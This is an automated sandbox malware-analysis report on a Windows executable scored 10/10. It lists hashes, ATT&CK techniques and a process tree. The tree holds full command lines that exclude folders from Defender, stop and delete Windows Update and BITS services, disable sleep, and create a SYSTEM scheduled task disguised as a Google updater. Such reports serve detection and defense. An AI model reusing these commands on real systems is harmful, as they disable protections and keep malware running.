875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630

Resubmissions

23/03/2023, 08:27

230323-kcdqlagd9x 10

23/03/2023, 08:05

230323-jzbn3sed55 10

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
23/03/2023, 08:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
Size

3.6MB
MD5

ce42cbd9b1d81721ae38248d35e9e40a
SHA1

1eb087350006f465827227724d7fb040a07a67b2
SHA256

875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630
SHA512

7162a9e9f680e2547c289362f93db4c18619b8a4f4e5f04ead9faaf561ff2d5612ec46084fca55cbb41a6b446bacfc701946d2dc3b714d629bef98ffc18d2f65
SSDEEP

49152:N0YkrpIPrE9C+eSLLbEdswC1dLYOwYRh6a1o0QI+Uu6ff6XOhrMev+:OYkrArE0+eEXuhIdLYOww1o1F6fCwjm

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1712 created 1244	1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	18
PID 1712 created 1244	1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	18
PID 1712 created 1244	1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	18
PID 1712 created 1244	1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe	18

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\chromeupdater.exe	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
604	sc.exe
1336	sc.exe
1824	sc.exe
1816	sc.exe
1636	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
920	powershell.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1712	875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
1924	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	920	powershell.exe
Token: SeShutdownPrivilege	1868	powercfg.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeShutdownPrivilege	808	powercfg.exe
Token: SeShutdownPrivilege	340	powercfg.exe
Token: SeShutdownPrivilege	1812	powercfg.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 932 wrote to memory of 1824	932	cmd.exe	35
PID 932 wrote to memory of 1824	932	cmd.exe	35
PID 932 wrote to memory of 1824	932	cmd.exe	35
PID 1096 wrote to memory of 1868	1096	cmd.exe	36
PID 1096 wrote to memory of 1868	1096	cmd.exe	36
PID 1096 wrote to memory of 1868	1096	cmd.exe	36
PID 932 wrote to memory of 1816	932	cmd.exe	37
PID 932 wrote to memory of 1816	932	cmd.exe	37
PID 932 wrote to memory of 1816	932	cmd.exe	37
PID 1096 wrote to memory of 808	1096	cmd.exe	38
PID 1096 wrote to memory of 808	1096	cmd.exe	38
PID 1096 wrote to memory of 808	1096	cmd.exe	38
PID 932 wrote to memory of 1636	932	cmd.exe	39
PID 932 wrote to memory of 1636	932	cmd.exe	39
PID 932 wrote to memory of 1636	932	cmd.exe	39
PID 1096 wrote to memory of 340	1096	cmd.exe	42
PID 1096 wrote to memory of 340	1096	cmd.exe	42
PID 1096 wrote to memory of 340	1096	cmd.exe	42
PID 932 wrote to memory of 604	932	cmd.exe	41
PID 932 wrote to memory of 604	932	cmd.exe	41
PID 932 wrote to memory of 604	932	cmd.exe	41
PID 1096 wrote to memory of 1812	1096	cmd.exe	40
PID 1096 wrote to memory of 1812	1096	cmd.exe	40
PID 1096 wrote to memory of 1812	1096	cmd.exe	40
PID 932 wrote to memory of 1336	932	cmd.exe	43
PID 932 wrote to memory of 1336	932	cmd.exe	43
PID 932 wrote to memory of 1336	932	cmd.exe	43
PID 932 wrote to memory of 972	932	cmd.exe	44
PID 932 wrote to memory of 972	932	cmd.exe	44
PID 932 wrote to memory of 972	932	cmd.exe	44
PID 932 wrote to memory of 1084	932	cmd.exe	45
PID 932 wrote to memory of 1084	932	cmd.exe	45
PID 932 wrote to memory of 1084	932	cmd.exe	45
PID 932 wrote to memory of 1528	932	cmd.exe	46
PID 932 wrote to memory of 1528	932	cmd.exe	46
PID 932 wrote to memory of 1528	932	cmd.exe	46
PID 932 wrote to memory of 1072	932	cmd.exe	47
PID 932 wrote to memory of 1072	932	cmd.exe	47
PID 932 wrote to memory of 1072	932	cmd.exe	47
PID 1924 wrote to memory of 1004	1924	powershell.exe	48
PID 1924 wrote to memory of 1004	1924	powershell.exe	48
PID 1924 wrote to memory of 1004	1924	powershell.exe	48
PID 932 wrote to memory of 1864	932	cmd.exe	49
PID 932 wrote to memory of 1864	932	cmd.exe	49
PID 932 wrote to memory of 1864	932	cmd.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe
  "C:\Users\Admin\AppData\Local\Temp\875b176bbb3a6308925f4fa4621fac891c244d2e510b15049f4950255ba7f630.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1868
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:808
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:340
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1824
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1816
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1636
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:604
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1336
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:972
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1084
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1528
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1072
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#dzxmaohun#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineUA' /tr '''C:\Program Files\Google\Chrome\chromeupdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\chromeupdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineUA' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineUA" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\chromeupdater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineUA /tr "'C:\Program Files\Google\Chrome\chromeupdater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4DYFE9F06FC8K67YEIDT.temp

Filesize
7KB

MD5
0afac6571b3b0c90dc8e716ce99da328

SHA1
a6ae57d4daaed4d8627234ecb497798e7db00912

SHA256
dcfcae1f642d254dab75d52c6c6e110f0e12652978d9729ec8170c3dc29585e5

SHA512
f529cae51bc4c1407bac6af3c03b05c88cb417dcbab06ee5bbbc205e98f21de8a36bf7d6fbb3dcb7ec9bf06192251c4eabd36846c4761fb44354ac5016042729

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0afac6571b3b0c90dc8e716ce99da328

SHA1
a6ae57d4daaed4d8627234ecb497798e7db00912

SHA256
dcfcae1f642d254dab75d52c6c6e110f0e12652978d9729ec8170c3dc29585e5

SHA512
f529cae51bc4c1407bac6af3c03b05c88cb417dcbab06ee5bbbc205e98f21de8a36bf7d6fbb3dcb7ec9bf06192251c4eabd36846c4761fb44354ac5016042729

Download Submit
memory/920-61-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/920-62-0x00000000024FB000-0x0000000002532000-memory.dmp

Filesize
220KB

Download
memory/920-60-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/920-59-0x000000001B0C0000-0x000000001B3A2000-memory.dmp

Filesize
2.9MB

Download
memory/1712-54-0x000000013F060000-0x000000013F3FC000-memory.dmp

Filesize
3.6MB

Download
memory/1712-75-0x000000013F060000-0x000000013F3FC000-memory.dmp

Filesize
3.6MB

Download
memory/1924-69-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1924-70-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/1924-71-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/1924-72-0x0000000002524000-0x0000000002527000-memory.dmp

Filesize
12KB

Download
memory/1924-73-0x000000000252B000-0x0000000002562000-memory.dmp

Filesize
220KB

Download